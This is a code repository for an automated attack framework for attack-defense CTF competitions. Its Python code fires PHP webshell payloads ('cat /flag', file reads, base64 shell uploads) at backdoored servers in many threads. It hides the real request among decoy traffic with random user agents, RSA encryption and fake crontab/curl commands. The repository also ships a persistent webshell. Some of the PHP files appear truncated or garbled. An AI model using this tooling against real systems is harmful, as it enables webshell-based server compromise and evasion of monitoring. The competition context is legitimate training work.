├── .gitignore ├── README.md ├── auto.py ├── common.py ├── config.py ├── logs └── .gitkeep ├── main.py ├── main_tests.py ├── mix.py ├── payloads ├── __init__.py └── webshell.py ├── requirements.txt ├── rsa_agent.php ├── shells └── no_die_shell.php └── tests ├── backdoor.php ├── docker-compose.yml ├── log.php ├── rsa.php └── rsa_agent.php /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.gitignore.io/api/python,phpstorm,visualstudiocode 3 | # Edit at https://www.gitignore.io/?templates=python,phpstorm,visualstudiocode 4 | 5 | ### PhpStorm ### 6 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm 7 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 8 | 9 | # User-specific stuff 10 | .idea/**/workspace.xml 11 | .idea/**/tasks.xml 12 | .idea/**/usage.statistics.xml 13 | .idea/**/dictionaries 14 | .idea/**/shelf 15 | 16 | # Generated files 17 | .idea/**/contentModel.xml 18 | 19 | # Sensitive or high-churn files 20 | .idea/**/dataSources/ 21 | .idea/**/dataSources.ids 22 | .idea/**/dataSources.local.xml 23 | .idea/**/sqlDataSources.xml 24 | .idea/**/dynamic.xml 25 | .idea/**/uiDesigner.xml 26 | .idea/**/dbnavigator.xml 27 | 28 | # Gradle 29 | .idea/**/gradle.xml 30 | .idea/**/libraries 31 | 32 | # Gradle and Maven with auto-import 33 | # When using Gradle or Maven with auto-import, you should exclude module files, 34 | # since they will be recreated, and may cause churn. Uncomment if using 35 | # auto-import. 36 | # .idea/modules.xml 37 | # .idea/*.iml 38 | # .idea/modules 39 | 40 | # CMake 41 | cmake-build-*/ 42 | 43 | # Mongo Explorer plugin 44 | .idea/**/mongoSettings.xml 45 | 46 | # File-based project format 47 | *.iws 48 | 49 | # IntelliJ 50 | out/ 51 | 52 | # mpeltonen/sbt-idea plugin 53 | .idea_modules/ 54 | 55 | # JIRA plugin 56 | atlassian-ide-plugin.xml 57 | 58 | # Cursive Clojure plugin 59 | .idea/replstate.xml 60 | 61 | # Crashlytics plugin (for Android Studio and IntelliJ) 62 | com_crashlytics_export_strings.xml 63 | crashlytics.properties 64 | crashlytics-build.properties 65 | fabric.properties 66 | 67 | # Editor-based Rest Client 68 | .idea/httpRequests 69 | 70 | # Android studio 3.1+ serialized cache file 71 | .idea/caches/build_file_checksums.ser 72 | 73 | # JetBrains templates 74 | **___jb_tmp___ 75 | 76 | ### PhpStorm Patch ### 77 | # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721 78 | 79 | # *.iml 80 | # modules.xml 81 | # .idea/misc.xml 82 | # *.ipr 83 | 84 | # Sonarlint plugin 85 | .idea/sonarlint 86 | 87 | ### Python ### 88 | # Byte-compiled / optimized / DLL files 89 | __pycache__/ 90 | *.py[cod] 91 | *$py.class 92 | 93 | # C extensions 94 | *.so 95 | 96 | # Distribution / packaging 97 | .Python 98 | build/ 99 | develop-eggs/ 100 | dist/ 101 | downloads/ 102 | eggs/ 103 | .eggs/ 104 | lib/ 105 | lib64/ 106 | parts/ 107 | sdist/ 108 | var/ 109 | wheels/ 110 | pip-wheel-metadata/ 111 | share/python-wheels/ 112 | *.egg-info/ 113 | .installed.cfg 114 | *.egg 115 | MANIFEST 116 | 117 | # PyInstaller 118 | # Usually these files are written by a python script from a template 119 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 120 | *.manifest 121 | *.spec 122 | 123 | # Installer logs 124 | pip-log.txt 125 | pip-delete-this-directory.txt 126 | 127 | # Unit test / coverage reports 128 | htmlcov/ 129 | .tox/ 130 | .nox/ 131 | .coverage 132 | .coverage.* 133 | .cache 134 | nosetests.xml 135 | coverage.xml 136 | *.cover 137 | .hypothesis/ 138 | .pytest_cache/ 139 | 140 | # Translations 141 | *.mo 142 | *.pot 143 | 144 | # Django stuff: 145 | *.log 146 | local_settings.py 147 | db.sqlite3 148 | 149 | # Flask stuff: 150 | instance/ 151 | .webassets-cache 152 | 153 | # Scrapy stuff: 154 | .scrapy 155 | 156 | # Sphinx documentation 157 | docs/_build/ 158 | 159 | # PyBuilder 160 | target/ 161 | 162 | # Jupyter Notebook 163 | .ipynb_checkpoints 164 | 165 | # IPython 166 | profile_default/ 167 | ipython_config.py 168 | 169 | # pyenv 170 | .python-version 171 | 172 | # pipenv 173 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 174 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 175 | # having no cross-platform support, pipenv may install dependencies that don’t work, or not 176 | # install all needed dependencies. 177 | #Pipfile.lock 178 | 179 | # celery beat schedule file 180 | celerybeat-schedule 181 | 182 | # SageMath parsed files 183 | *.sage.py 184 | 185 | # Environments 186 | .env 187 | .venv 188 | env/ 189 | venv/ 190 | ENV/ 191 | env.bak/ 192 | venv.bak/ 193 | 194 | # Spyder project settings 195 | .spyderproject 196 | .spyproject 197 | 198 | # Rope project settings 199 | .ropeproject 200 | 201 | # mkdocs documentation 202 | /site 203 | 204 | # mypy 205 | .mypy_cache/ 206 | .dmypy.json 207 | dmypy.json 208 | 209 | # Pyre type checker 210 | .pyre/ 211 | 212 | ### VisualStudioCode ### 213 | .vscode/* 214 | !.vscode/settings.json 215 | !.vscode/tasks.json 216 | !.vscode/launch.json 217 | !.vscode/extensions.json 218 | 219 | ### VisualStudioCode Patch ### 220 | # Ignore all local history of files 221 | .history 222 | 223 | # End of https://www.gitignore.io/api/python,phpstorm,visualstudiocode 224 | 225 | logs/*.log 226 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AWD Auto Attack Framework 2 | 3 | 辣鸡 Py 毁我青春 4 | 5 | ## 用法 6 | 7 | 1. 本地搭建 PHP 及环境 8 | - PHP 9 | - openssl - rsa 10 | - 放入 rsa_agent.php 11 | - 修改 config.py 的配置 12 | 2. 安装 python 相关依赖 13 | - `pip install -r requirements.txt` 14 | 3. 添加自己的shell 15 | 4. 运行 main_tests.py 进行测试 16 | ## TODO 17 | 18 | **auto.py** 19 | 20 | - 导入 main.py 的函数 21 | - 自动化运行 22 | - 定时任务 23 | - while and sleep ? 24 | 25 | ## 说明 26 | 27 | **mix.py** 28 | 29 | - NormalRequest 正常流量请求 30 | - MixRequest 混淆流量请求 31 | 32 | **config.py** 33 | 34 | - LOG_FILE 日志路径 35 | - LOG_LEVEL logging.INFO 36 | - LOG_FMT '[*] [%(asctime)s] - %(levelname)s %(message)s' 37 | - RSA_AGENT Agent 地址 "http://127.0.0.1:8085/rsa_agent.php" 38 | - RSA_PRIVATE_KEY RSA 私钥 39 | - FLAG_PATTERN flag 匹配正则模型 40 | -------------------------------------------------------------------------------- /auto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | if __name__ == "__main__": 5 | pass 6 | -------------------------------------------------------------------------------- /common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import base64 5 | import hashlib 6 | import re 7 | import requests 8 | import logging 9 | from logging import handlers 10 | 11 | from config import LOG_FILE, LOG_LEVEL, \ 12 | LOG_FMT, RSA_PRIVATE_KEY, RSA_AGENT, \ 13 | FLAG_PATTERN 14 | 15 | """ 16 | Python RSA ?? PHP RSA 17 | 18 | from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 19 | from Crypto.PublicKey import RSA 20 | from Crypto.Hash import SHA 21 | from Crypto import Random 22 | 23 | RSA_KEY = RSA.importKey(RSA_PRIVATE_KEY) 24 | cipher = Cipher_pkcs1_v1_5.new(RSA_KEY) 25 | sentinel = Random.new().read(15 + SHA.digest_size) 26 | 27 | def _rsa_encrypt(data): 28 | data_chunk = re.findall(r'.{117}', data) 29 | ret = b'' 30 | for chunk in data_chunk: 31 | ret += cipher.encrypt(bytes(chunk, 'utf-8')) 32 | return b64e(ret) 33 | 34 | 35 | def _rsa_decrypt(data): 36 | data = b64d(data, 1) 37 | ret = [] 38 | for p in range(0, len(data), 128): 39 | ret.append(str(cipher.decrypt(data[p:p + 128]), 'utf-8')) 40 | return str(b''.join(ret), 'utf-8') 41 | """ 42 | 43 | 44 | KEYWORDS = [ 45 | 'preg_replace', 'bcreate_function', 'passthru("cat /flag")', 46 | 'shell_exec("cat /flag")', 'exec("cat /flag")', 'bbase64_decode', 47 | 'bedoced_46esab', 'eval', 'system("cat /flag")', 'proc_open', 48 | 'popen', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 49 | 'show_source', 'file_get_contents("/flag")', 'fsockopen("/flag")', 50 | 'cat /flag', 'whoami', 'exec', 'escapeshellcmd', 'assert' 51 | ] 52 | 53 | USER_AGENTS = [ 54 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", 55 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)", 56 | "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", 57 | "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)", 58 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", 59 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)", 60 | "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)", 61 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)", 62 | "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6", 63 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1", 64 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0", 65 | "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5", 66 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6", 67 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", 68 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20", 69 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52" 70 | ] 71 | 72 | 73 | class Logger(object): 74 | 75 | _debug = False 76 | 77 | def __init__(self, filename, level, fmt): 78 | self.logger = logging.getLogger(filename) 79 | self.logger.setLevel(level) 80 | format_str = logging.Formatter(fmt) 81 | # Console 82 | sh = logging.StreamHandler() 83 | sh.setFormatter(format_str) 84 | # File 85 | fh = logging.FileHandler(filename=filename, encoding='utf-8') 86 | fh.setFormatter(format_str) 87 | self.logger.addHandler(sh) 88 | self.logger.addHandler(fh) 89 | self.logger.toggleDebug = self.toggleDebug 90 | 91 | def toggleDebug(self): 92 | if self._debug: 93 | self.logger.setLevel(LOG_LEVEL) 94 | else: 95 | self.logger.setLevel(logging.DEBUG) 96 | 97 | 98 | log = Logger( 99 | LOG_FILE, 100 | level=LOG_LEVEL, 101 | fmt=LOG_FMT 102 | ) 103 | logger = log.logger 104 | 105 | 106 | def md5(text): 107 | m = hashlib.md5(text.encode()) 108 | return m.hexdigest() 109 | 110 | 111 | def b64e(c): 112 | if not isinstance(c, bytes): 113 | c = bytes(c, 'utf-8') 114 | return str(base64.b64encode(c), 'utf-8') 115 | 116 | 117 | def b64d(c, b=0): 118 | if not isinstance(c, bytes): 119 | c = bytes(c, 'utf-8') 120 | ret = base64.b64decode(c) 121 | return ret if b else str(ret, 'utf-8') 122 | 123 | 124 | def _rsa_agent(data, query=""): 125 | res = requests.post(RSA_AGENT + query, data=data) 126 | return res.text 127 | 128 | 129 | def rsa_encrypt(data): 130 | return _rsa_agent(data, "?encrypt=1") 131 | 132 | 133 | def rsa_decrypt(data): 134 | return _rsa_agent(data) 135 | 136 | 137 | def find_flag(data): 138 | flags = [] 139 | for PATTERN in FLAG_PATTERN: 140 | m = PATTERN.findall(data) 141 | if m and m[0]: 142 | flags.append(m[0][-1]) 143 | return flags 144 | 145 | 146 | def callback_default(target, resp_text): 147 | logger.debug("[#] ====== Recv Data ======") 148 | logger.debug("[#] Target: %s" % target) 149 | logger.debug("[#] Text: %s" % resp_text) 150 | logger.debug("[#] ====== Recv Data ======") 151 | flags = find_flag(resp_text) 152 | for flag in flags: 153 | logger.info("[+] Recv Flag : %s -> [[%s]]" % (target, flag)) 154 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | import logging 6 | 7 | # === RSA === 8 | RSA_PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY----- 9 | xxx 10 | -----END RSA PRIVATE KEY-----""".strip() 11 | RSA_AGENT = "http://127.0.0.1:8085/agent.php" 12 | # === RSA === 13 | 14 | # === LOG === 15 | LOG_FILE = './logs/attack.log' 16 | LOG_LEVEL = logging.INFO 17 | LOG_FMT = '[%(asctime)s] - %(levelname)8s %(message)s' 18 | # === LOG === 19 | 20 | # === FLAG === 21 | FLAG_PATTERN = [ 22 | # ICQ AWD (uuid) 23 | re.compile(r'(\w{8}-\w{4}-\w{4}-\w{4}-\w{12})', re.I | re.M), 24 | # Normal 25 | re.compile(r'((flag)?({(.*?)}))', re.I | re.M) 26 | ] 27 | # === FLAG === 28 | -------------------------------------------------------------------------------- /logs/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CTFTraining/awd_auto_attack_framework/bda506f160c51a479abcbf03501ea7cb1c064815/logs/.gitkeep -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import sys 6 | import re 7 | import base64 8 | 9 | from common import logger, rsa_encrypt, rsa_decrypt, callback_default 10 | from config import FLAG_PATTERN 11 | from mix import NormalRequest, MixRequest 12 | 13 | from payloads import * 14 | 15 | 16 | def attack_by_normal_request(targets, shell, passwd, payload, threads=10, callback=None): 17 | """普通攻击封装 18 | """ 19 | logger.info("[+] Init Normal Request...") 20 | if not passwd and not isinstance(payload, dict): 21 | req = NormalRequest(shell, passwd, payload, targets) 22 | else: 23 | req = NormalRequest(shell, passwd, payload, targets) 24 | if not callback: 25 | req.callback.append(callback_default) 26 | else: 27 | req.callback.append(callback) 28 | req.start(threads) 29 | 30 | 31 | def attack_by_mix_request(targets, shell, passwd, payload, threads=10, callback=None): 32 | """混淆流量攻击封装 33 | """ 34 | logger.info("[+] Init Mix Request...") 35 | if not passwd and not isinstance(payload, dict): 36 | req = MixRequest(shell, passwd, payload, targets) 37 | else: 38 | req = MixRequest(shell, passwd, payload, targets) 39 | if not callback: 40 | req.callback.append(callback_default) 41 | else: 42 | req.callback.append(callback) 43 | req.start(threads) 44 | 45 | 46 | if __name__ == '__main__': 47 | logger.info("[+] AWD Auto Attack Framework") 48 | -------------------------------------------------------------------------------- /main_tests.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from main import attack_by_normal_request, attack_by_mix_request 5 | from common import logger, rsa_encrypt, rsa_decrypt, callback_default 6 | from payloads import exp_system 7 | 8 | 9 | def test_rsa(): 10 | """测试 RSA Agent 11 | """ 12 | logger.info("[+] Start Test RSA...") 13 | text = 'test'+'asdveaw' * 10 14 | logger.debug("Origin Text : %s" % text) 15 | text = rsa_encrypt(text) 16 | logger.debug("RSA Encrypt : %s" % text) 17 | text = rsa_decrypt(text) 18 | logger.debug("RSA Decrypt : %s" % text) 19 | 20 | 21 | def test_normal(targets, payload): 22 | """测试 Normal 23 | """ 24 | logger.info("[+] Start Test [Normal]...") 25 | attack_by_normal_request(targets, "/backdoor.php", "1", payload, 1) 26 | 27 | 28 | def test_normal_rsa(targets, payload): 29 | """测试 Normal + RSA 30 | """ 31 | logger.info("[+] Start Test [RSA + Normal]...") 32 | payload = rsa_encrypt(payload) 33 | attack_by_normal_request(targets, "/rsa.php", 0, payload, 1) 34 | 35 | 36 | def test_mix(targets, payload): 37 | """测试 Mix 38 | """ 39 | logger.info("[+] Start Test [Mix]...") 40 | attack_by_mix_request(targets, "/backdoor.php", "1", payload, 1) 41 | 42 | 43 | def test_mix_rsa(targets, payload): 44 | """测试 Mix + RSA 45 | """ 46 | logger.info("[+] Start Test [RSA + Mix]...") 47 | payload = rsa_encrypt(payload) 48 | attack_by_mix_request(targets, "/rsa.php", 0, payload, 1) 49 | 50 | 51 | if __name__ == '__main__': 52 | logger.info("[+] Testing...") 53 | # targets = ['127.0.0.1:8085'] 54 | targets = ['127.0.0.1:8085' for i in range(10)] 55 | payload = exp_system('cat /flag') 56 | # logger.toggleDebug() 57 | # test_rsa() 58 | test_normal(targets, payload) 59 | # test_normal_rsa(targets, payload) 60 | # test_mix(targets, payload) 61 | # test_mix_rsa(targets, payload) 62 | # logger.toggleDebug() 63 | -------------------------------------------------------------------------------- /mix.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import requests 5 | import string 6 | import random 7 | import asyncio 8 | 9 | from common import logger, md5, b64e, rsa_decrypt, find_flag, \ 10 | USER_AGENTS, KEYWORDS 11 | 12 | ''' 13 | 混淆流量攻击 14 | 混淆请求 MixRequest - 万假一真 - 还是RSA 15 | 正常请求 NormalRequest - 快速上 Shell & Agent 16 | ''' 17 | 18 | 19 | class NormalRequest: 20 | """正常流量请求 21 | """ 22 | 23 | callback = [] 24 | target = '' 25 | 26 | def __init__(self, shell, passwd, payload, targets): 27 | self.shell = shell 28 | self.passwd = passwd 29 | self.payload = payload 30 | self.q_target = asyncio.Queue(maxsize=100) 31 | [self.q_target.put_nowait(target) for target in targets] 32 | self.loop = asyncio.get_event_loop() 33 | 34 | def _save_resp(self, target, data): 35 | with open("./logs/resp_%s.log" % target, 'a+') as f: 36 | f.write(data) 37 | f.flush() 38 | 39 | def _request(self, target, shell, isPost, headers, payload, rsa=0): 40 | logger.debug("[#] Request _request...") 41 | if not shell.startswith("/"): 42 | shell = "/" + shell 43 | url = "http://" + target + shell 44 | logger.debug("[#] Request [%s] ..." % url) 45 | try: 46 | if isPost: 47 | resp = requests.post(url, headers=headers, 48 | data=payload, timeout=3) 49 | else: 50 | resp = requests.get(url, headers=headers, 51 | params=payload, timeout=3) 52 | if resp.status_code == 200: 53 | obj = resp.text if not rsa else rsa_decrypt(resp.text) 54 | obj = obj.strip() 55 | logger.debug("[#] Is RSA : %d" % rsa) 56 | logger.debug("[#] Resp : %s" % obj) 57 | if obj and self.callback and isinstance(self.callback, list): 58 | for cb in self.callback: 59 | if callable(cb): 60 | cb(target, obj) 61 | elif obj and callable(self.callback): 62 | self.callback(target, obj) 63 | return True 64 | except Exception as e: 65 | logger.warn("[!] %s" % e) 66 | return False 67 | 68 | def attack(self, target): 69 | logger.debug("[#] Request attack...") 70 | headers = { 71 | "User-Agent": random.choice(USER_AGENTS) 72 | } 73 | if self.passwd: 74 | data = { 75 | self.passwd: self.payload 76 | } 77 | rsa = 0 78 | else: 79 | data = self.payload 80 | rsa = 1 81 | self._request(target, self.shell, True, headers, data, rsa) 82 | 83 | async def run(self): 84 | logger.debug("[#] Request Running...") 85 | while not self.q_target.empty(): 86 | target = await self.q_target.get() 87 | try: 88 | logger.debug("[#] Run target [%s] ..." % target) 89 | self.attack(target) 90 | await asyncio.sleep(0.1) 91 | except Exception as e: 92 | logger.debug("[#] Run Exception : %s" % e) 93 | continue 94 | 95 | def start(self, num=10): 96 | """启动请求 @num 协程数量 97 | """ 98 | logger.info("[+] Start attack...") 99 | tasks = [self.run() for i in range(num)] 100 | self.loop.run_until_complete(asyncio.wait(tasks)) 101 | self.loop.close() 102 | 103 | 104 | class MixRequest(NormalRequest): 105 | """混淆流量请求 106 | """ 107 | 108 | def __init__(self, shell, passwd, payload, targets): 109 | super().__init__(shell, passwd, payload, targets) 110 | self.prepare() 111 | 112 | def random_str(self, n=8): 113 | return ''.join(random.sample(string.ascii_letters + string.digits, n)) 114 | 115 | def random_bytes(self, _min=102, _max=1024): 116 | return bytes(''.join([chr(random.randint(1, 255)) for i in range(random.randint(_min, _max))]), 'utf-8') 117 | 118 | def random_shell_name(self, ext=".php"): 119 | return "/" + md5(self.random_str()) + ext 120 | 121 | def random_data(self, target="", path="/var/www/html/"): 122 | k = random.randint(1, 12) 123 | keyworkd = random.choice(KEYWORDS) 124 | if k > 3: 125 | name = self.random_shell_name() 126 | keyworkd = "echo '*/1 * * * * /bin/cat /tmp/{} > {}{};/usr/bin/curl \"{}{}\"' | crontab".format( 127 | self.random_str(), path, name, target, name) 128 | elif k > 6: 129 | keyworkd = (b64e(keyworkd)*random.randint(3, 5)) 130 | elif k > 9: 131 | keyworkd = keyworkd 132 | return keyworkd 133 | 134 | def attack(self, target): 135 | self.target = target 136 | for weapon in self.ammunitions: 137 | self._request(target, weapon['name'], True, 138 | weapon['headers'], weapon['data'], weapon['rsa']) 139 | 140 | def prepare(self): 141 | self.ammunitions = [] 142 | _num = random.randint(6, 18) 143 | _real = random.randint(1, 18) 144 | logger.info("[+] Mix Flow Number : %d" % _num) 145 | for i in range(_num): 146 | rsa = 0 147 | if random.choice([1, 0]): 148 | shell_name = self.random_shell_name() 149 | else: 150 | shell_name = self.shell 151 | if _real == i: 152 | # 攻击流量 153 | shell_name = self.shell 154 | if self.passwd: 155 | data = { 156 | self.passwd: self.payload 157 | } 158 | else: 159 | data = self.payload 160 | rsa = 1 161 | logger.debug("[#] Real Attack %s" % shell_name) 162 | elif i % 2 == 0: 163 | data = { 164 | 'p': md5(str(random.randint(1000000, 1000050))), 165 | 'c': self.random_data() 166 | } 167 | else: 168 | data = b64e(self.random_bytes()) 169 | rsa = 1 170 | headers = { 171 | "User-Agent": random.choice(USER_AGENTS) 172 | } 173 | self.ammunitions.append({ 174 | "data": data, 175 | "headers": headers, 176 | "name": shell_name, 177 | "rsa": rsa 178 | }) 179 | 180 | def test(self): 181 | self.prepare() 182 | for weapon in self.ammunitions: 183 | print(weapon) 184 | 185 | 186 | if __name__ == "__main__": 187 | def cb_show(target, resp_text): 188 | logger.debug("[#] Target: %s Text: %s" % (target, resp_text)) 189 | flags = find_flag(resp_text) 190 | logger.info("[+] Target : %s s- Flag : %s" % (target, ','.join(flags))) 191 | 192 | targets = ['127.0.0.1:8085', '127.0.0.1:8085'] 193 | x = MixRequest('/backdoor.php', "1", "system('cat /flag');", targets) 194 | x.callback = cb_show 195 | x.start(1) 196 | -------------------------------------------------------------------------------- /payloads/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import base64 5 | from payloads.webshell import * 6 | 7 | 8 | def exp_system(cmd="cat /flag"): 9 | return "system('%s');" % cmd 10 | 11 | 12 | def exp_file_get_contents(path="/flag"): 13 | return "echo file_get_contents('%s');" % path 14 | 15 | 16 | def exp_readfile(path="/flag"): 17 | return "echo readfile('%s');" % path 18 | 19 | 20 | def exp_show_source(path="/flag"): 21 | return "echo show_source('%s');" % path 22 | -------------------------------------------------------------------------------- /payloads/webshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | def exp_upload_shell(path="/var/www/html/shell.php", data=""): 6 | """file_put_contents('%s',base64_decode('%s'));
7 | default shell : privateEncrypt($data); 84 | } else { 85 | $ret = $test->privateDecrypt($data); 86 | if (!$ret) { 87 | $ret = $test->publicDecrypt($data); 88 | } 89 | } 90 | print_r($ret); 91 | -------------------------------------------------------------------------------- /shells/no_die_shell.php: -------------------------------------------------------------------------------- 1 | flow = array(); 13 | $this->log_path = WEBROOT . '/' . LOGDIR . '/'; 14 | mkdir($this->log_path, 0777, 1); 15 | $this->Flow(); 16 | } 17 | 18 | private function Save($keyword="vk") 19 | { 20 | $data = $this->flow; 21 | file_put_contents( 22 | $this->log_path . date("d-h") . ".log", 23 | "=====================================\r\n" . 24 | "Keyword : " . implode(", ", $keyword) . "\r\n" . 25 | print_r($data, true) . "\r\n", 26 | FILE_APPEND 27 | ); 28 | } 29 | 30 | private function Flow() 31 | { 32 | foreach ($_SERVER as $key => $value) { 33 | if (stripos("HTTP_", $key)) { 34 | $this->flow['header'][ucwords(strtolower($key))] = $_SERVER["HTTP_" . $key]; 35 | } 36 | } 37 | $this->flow['method'] = $_SERVER['REQUEST_METHOD']; 38 | $this->flow['protocol'] = $_SERVER['SERVER_PROTOCOL']; 39 | $this->flow['time'] = date('Y-m-d H:i:s', $_SERVER['REQUEST_TIME']); 40 | isset($_SERVER['CONTENT_TYPE']) && $this->flow['ctype'] = @$_SERVER['CONTENT_TYPE']; 41 | $this->flow['ip'] = array( 42 | 'REMOTE_ADDR' => @$_SERVER['REMOTE_ADDR'], 43 | 'CLIENT-IP' => @$_SERVER['HTTP_CLIENT_IP'], 44 | 'X-FORWARDED-FOR' => @$_SERVER['HTTP_X_FORWARDED_FOR'], 45 | ); 46 | 47 | /* GetData */ 48 | $this->flow['uri'] = $_SERVER['REQUEST_URI']; 49 | $this->flow['get'] = print_r(parse_url($_SERVER['REQUEST_URI']), 1); 50 | 51 | /* PostData */ 52 | if (strtolower($_SERVER['CONTENT_TYPE']) != 'multipart/form-data') { 53 | $this->flow['post'] = file_get_contents('php://input'); 54 | } elseif (isset($_POST) or strtolower($this->flow['method']) == 'post') { 55 | $this->flow['post'] = print_r($_POST, 1); 56 | } 57 | // Save 58 | $this->Save(); 59 | } 60 | } 61 | 62 | header("X-Waf-Defense: Virink"); 63 | 64 | new FlowLog(); 65 | -------------------------------------------------------------------------------- /tests/rsa.php: -------------------------------------------------------------------------------- 1 | privateEncrypt($data); 84 | } else { 85 | $ret = $test->privateDecrypt($data); 86 | if (!$ret) { 87 | $ret = $test->publicDecrypt($data); 88 | } 89 | } 90 | print_r($ret); 91 | --------------------------------------------------------------------------------